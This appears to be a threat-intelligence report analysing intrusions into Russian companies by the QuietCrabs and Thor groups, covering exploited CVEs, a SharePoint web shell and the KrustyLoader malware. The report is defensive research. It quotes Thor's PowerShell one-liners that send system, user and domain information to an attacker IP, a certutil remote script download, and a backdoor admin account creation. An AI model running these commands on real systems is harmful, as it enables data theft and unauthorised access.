Dragons in Thunder

• During investigations into two incidents at Russian companies, we identified malicious activity that involved the exploitation of RCE vulnerabilities, including CVE-2025-53770 in Microsoft SharePoint, as well as CVE-2025-4427 and CVE-2025-4428 in Ivanti Endpoint Manager Mobile.
• In addition to the exploitation of vulnerabilities, we discovered samples of the KrustyLoader and Sliver malware, as well as traces of the Tactical RMM and MeshAgent tools.
• Detailed analysis showed the presence of at least two groups: QuietCrabs (also known as UTA0178 and UNC5221) and Thor.
• QuietCrabs were seen exploiting these vulnerabilities within just a few hours of PoC code being published.
• The study suggests that Thor likely targeted around 110 Russian companies.

While investigating the incidents, the Positive Technologies Expert Security Center Incident Response team (PT ESC IR), supported by the Threat Intelligence department (PT ESC TI), found evidence of KrustyLoader malware. KrustyLoader was first described in January 2024 by researchers at Volexity and Mandiant, in attacks that exploited zero-day RCE vulnerabilities in Ivanti Connect Secure. At that time, it was reported only in a Linux version, but Windows builds have since appeared. Notably, at the time of this study the loader was being used by a single group, QuietCrabs.

As the investigation progressed, we also identified activity in the victim's infrastructure that pointed to another group. Interestingly, this second group appears to have disrupted QuietCrabs' attack and is likely the reason the attack attracted attention at all. We suppose that this second group is Thor. Based on analysis of the attackers' network infrastructure and telemetry data, we conclude that Thor was running a large-scale campaign against Russian companies. To gain initial access, the attackers exploited several remote code execution (RCE) vulnerabilities, including CVE-2025-53770 and CVE-2021-27065.

In this study, we describe the attack chains observed during the investigation and examine the tools used by the attackers.

Investigating the incidents and proactively hunting for malicious files revealed attacks targeting multiple sectors in Russia and other countries. An approximate QuietCrabs attack flow is shown in Figure 1.

During our analysis of the network infrastructure, we noticed that QuietCrabs used the hosting provider DigitalOcean. This choice may be driven by their primary target region, North America: servers hosted there help their traffic blend in with US traffic. At the same time, we also saw this hosting provider used in attacks against Russian companies. As a U.S.-based provider, DigitalOcean does not help bypass geoblocking (unlike local or neutral providers) and may even make traffic harder to disguise, which highlights how unique QuietCrabs' tactics are.

To further secure their foothold, the attackers used an ASPX file—a basic web shell that returns command output as plain text in the response. The web shell accepts two GET parameters: cmd and timeout. The first is responsible for the command to execute; the second sets the maximum execution time.

The command is wrapped in the try..catch block, encoded using Base64, and executed via the system utility ScriptRunner.exe. If the command completes without errors, the output is written to:

C:\Program Files\Common Files\microsoft shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\<UUID>

An example of an access.log entry showing command execution:

GET /_layouts/15/ps_backdoor.aspx cmd=echo K046rywr6NOHae7m

The web shell then reads the command output from this file and sends it back to the attackers. A fragment of the script is shown in the figure below.

During the investigation, it became clear that QuietCrabs directly uploaded KrustyLoader by exploiting a vulnerability. Next, however, the Threat Intelligence team found a file in open sources that is a simple JSP loader. It is evident that similar samples were used in attacks against Java applications. The loader's logic is as follows:

• Read the password from the pwd parameter of the query string and verify it. If it equals p@ss, proceed; otherwise, return the string 4c7c96d31ffaa6b8a5e86760edcb9294 in the response.
• Read the version number from the version parameter of the query string and write it to the file.
• Download KrustyLoader from an external server at IP address 143.198.8[.]180 and run it.
• Return the response: { «status»: 0 }.

KrustyLoader has already been covered by other researchers; here we briefly recap the main artifacts that can be found on a system while it is running. KrustyLoader is a loader written in Rust. Its primary function is to decrypt a URL pointing to the payload, download that payload, inject it into a target process, and run it.

Almost all published studies focus on ELF x64 samples, and some vendors describe KrustyLoader exclusively as Linux malware. In our case, however, all incident artifacts were Windows samples.

A key feature of KrustyLoader is that it is unique malware associated with a single group—QuietCrabs. The attackers are gradually refining and updating this tool.

On startup, KrustyLoader copies itself to the %TEMP% folder using filename patterns listed below, where name is a name and gen_sym is a randomly generated string:

.<name>.<gen_sym>.__selfdelete__.exe
.<name>.<gen_sym>.__relocated__.exe

These files then act as markers that the system is infected. After copying, KrustyLoader deletes itself from its original directory. Then it initializes and transfers control to the part of the code obfuscated with control flow flattening (CFF).

In the first dispatcher, KrustyLoader checks for the existence of the file C:\Users\Public\Downloads\0; in the second, it checks that this file is not empty. The contents of this file are used as a parameter for the tokio::sleep function.

In the third dispatcher, KrustyLoader verifies that it is running from C:\Users\Public\Downloads.

In the fourth dispatcher, KrustyLoader first decrypts the URL used to obtain the payload. The URL is encrypted in two layers: first with XOR, second with AES-128-CFB. All data is stored in the .text section; KrustyLoader locates it using a marker.

A script to decrypt the URL is shown below:
 

import sys
 
from Crypto.Cipher import AES
from binascii import unhexlify
 
data = open(sys.argv[1], 'rb').read()
 
target_dir = b"c:/users/public/downloads/"
 
start_target_dir = data.find(target_dir)
start_marker = data.find(b"|||||||||||||||||")
start_enc = start_marker - start_target_dir
 
encrypted =  unhexlify(data[start_target_dir+len(target_dir):start_marker])
 
xor_key_data_marker = b"#####################"
start_xor_key_marker = data.find(xor_key_data_marker)
xor_key = data[start_xor_key_marker+len(xor_key_data_marker)]
 
if (xor_key == 0x0F):
       xor_key_text_marker = b"\x41\x80\xF7"
       start_xor_key_text_marker = data.find(xor_key_text_marker)
       xor_key = data[start_xor_key_text_marker+len(xor_key_text_marker)]
 
encrypted_url = bytes([i^xor_key for i in encrypted])
 
aes_key = data[start_target_dir-32:start_target_dir-16]
aes_iv = data[start_target_dir-16:start_target_dir]
 
cipher = AES.new(aes_key, AES.MODE_CFB, iv=aes_iv, segment_size=128)
decrypted = cipher.decrypt(encrypted_url)
print(decrypted.decode())

KrustyLoader decrypts the payload using the same key and initialization vector as for the URL. The decryption script is shown below.

import sys
from Crypto.Cipher import AES
 
enc = …
key = …
iv = …
 
cipher = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128)
open('decrypted', 'wb').write(cipher.decrypt(enc))

Next, the payload is injected into the explorer.exe process and executed via the RtlCreateUserThread function.

In all samples we found, the payload was Sliver; however, other payloads cannot be ruled out. Figure 7 shows another URL. In this sample it has the value ########, but if it were replaced with a plaintext URL, the payload at that URL would also be downloaded and executed, this time by injecting it into cmd.exe.

While analyzing activity on the compromised hosts, we noticed that part of the tools did not overlap with what QuietCrabs uses. Moreover, unlike QuietCrabs, the second group operated much more noisily, relying on well-known tools and techniques. In the incidents we investigated, this noisy behavior helped detect both groups in time and avoid more serious consequences.

An example of Thor's initial reconnaissance commands:

powershell -Command $r=(systeminfo); iwr -Uri ('http://95.142.40[.]51:888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing

powershell -Command $r=(tasklist); iwr -Uri ('http://95.142.40[.]51:888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing

powershell -Command $r=(whoami /priv); iwr -Uri ('http://95.142.40[.]51:888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing

powershell -Command $r=(nltest /dclist:); iwr -Uri ('http://95.142.40[.]51:888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing

powershell -Command $r=(nltest /trusted_domains); iwr -Uri ('http://95.142.40[.]51:888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing

powershell -Command $r=('powershell Test-NetConnection 95.142.40[.]51 -Port 4444 ; iwr -Uri ('http://95.142.40[.]51:8888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing

Next, the attackers created a user account srv using the command below and added this account to the local administrator group.

powershell -Command $r=(net user srv Brooklin2025! /add); iwr -Uri ('http://95.142.40[.]51:888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing

The group used the ADRecon utility, which they downloaded to C:\users\public\ad_ru.ps1, to perform Active Directory domain reconnaissance. The results were written to a file that the attackers later viewed:

file:///C:/Users/<User>/Desktop/ADRecon-Report-<date>.zip

They also used certutil to download various PowerShell scripts:

certutil.exe -urlcache -split -f http://95.142.40[.]51:654/exec.ps1 $public\\sql.ps1

To escalate privileges, the group used the publicly available GodPotato tool, and for data extraction they relied on utilities such as secretsdump and mimikatz.

Data collected by the group included credentials for local and domain users, mail servers, and employees' Telegram sessions. To collect user files, they used Rclone.

As a result, if not for the second group's activity and its use of widely known tools, QuietCrabs would likely have remained undetected.

By correlating these findings, we were able to find a similar description and matching indicators of compromise in a report published by Angara Security on August 19. Their researchers attribute the attack to the Thor group that uses LockBit and Babuk ransomware. In our case, the attack was detected early enough that these malicious tools were not observed.

Given the overlap in tools, techniques, and indicators of compromise, we assume that Thor is behind this attack.

An approximate Thor attack flow is shown in the figure below.

During the investigation, we noticed an unusual pattern: QuietCrabs and the presumed Thor group operated in almost the same time period. The gap between their malicious activities was only a few days. It is also important that the investigation began at the point where Thor activity was first registered. In other words, QuietCrabs could have remained inside the infrastructure for much longer if not for Thor.

That said, we cannot confidently state that QuietCrabs is collaborating with Thor. In this case, the overlap is most likely coincidental, as both QuietCrabs and Thor conduct broad scans of organizations for subsequent compromise.

Based on telemetry-driven analysis of the attackers' network infrastructure, we found that the group scanned about 145 servers. On 101 of them we identified vulnerabilities, mostly from 2021, with a total of 269 unique vulnerabilities.

We were able to identify around 110 Russian companies as potential victims. The affected organizations varied greatly both in economic sector and in the potential profit they offered the attackers.

We described similar attacks against vulnerable servers in our article on malicious code injected into Microsoft Outlook authentication pages. In both cases, the victims included not only small and medium-sized businesses but also defense industry enterprises, healthcare organizations, and research centers.
All vulnerable servers were located in Russia, which indicates that Thor's attacks were clearly targeted at Russian infrastructure.

The attacks attributed to Thor affected many Russian companies. The group did not rely on sophisticated techniques or unique tools. With a well-designed infrastructure and mature security processes, these attacks could have been prevented or at least quickly contained.

By contrast, QuietCrabs' attacks posed a more serious threat. The attackers used exploits shortly after new vulnerabilities were disclosed: the gap between a patch release and the first attack ranged from a few days to just a few hours. According to Mandiant's investigations, QuietCrabs' average dwell time in victim infrastructure is 393 days.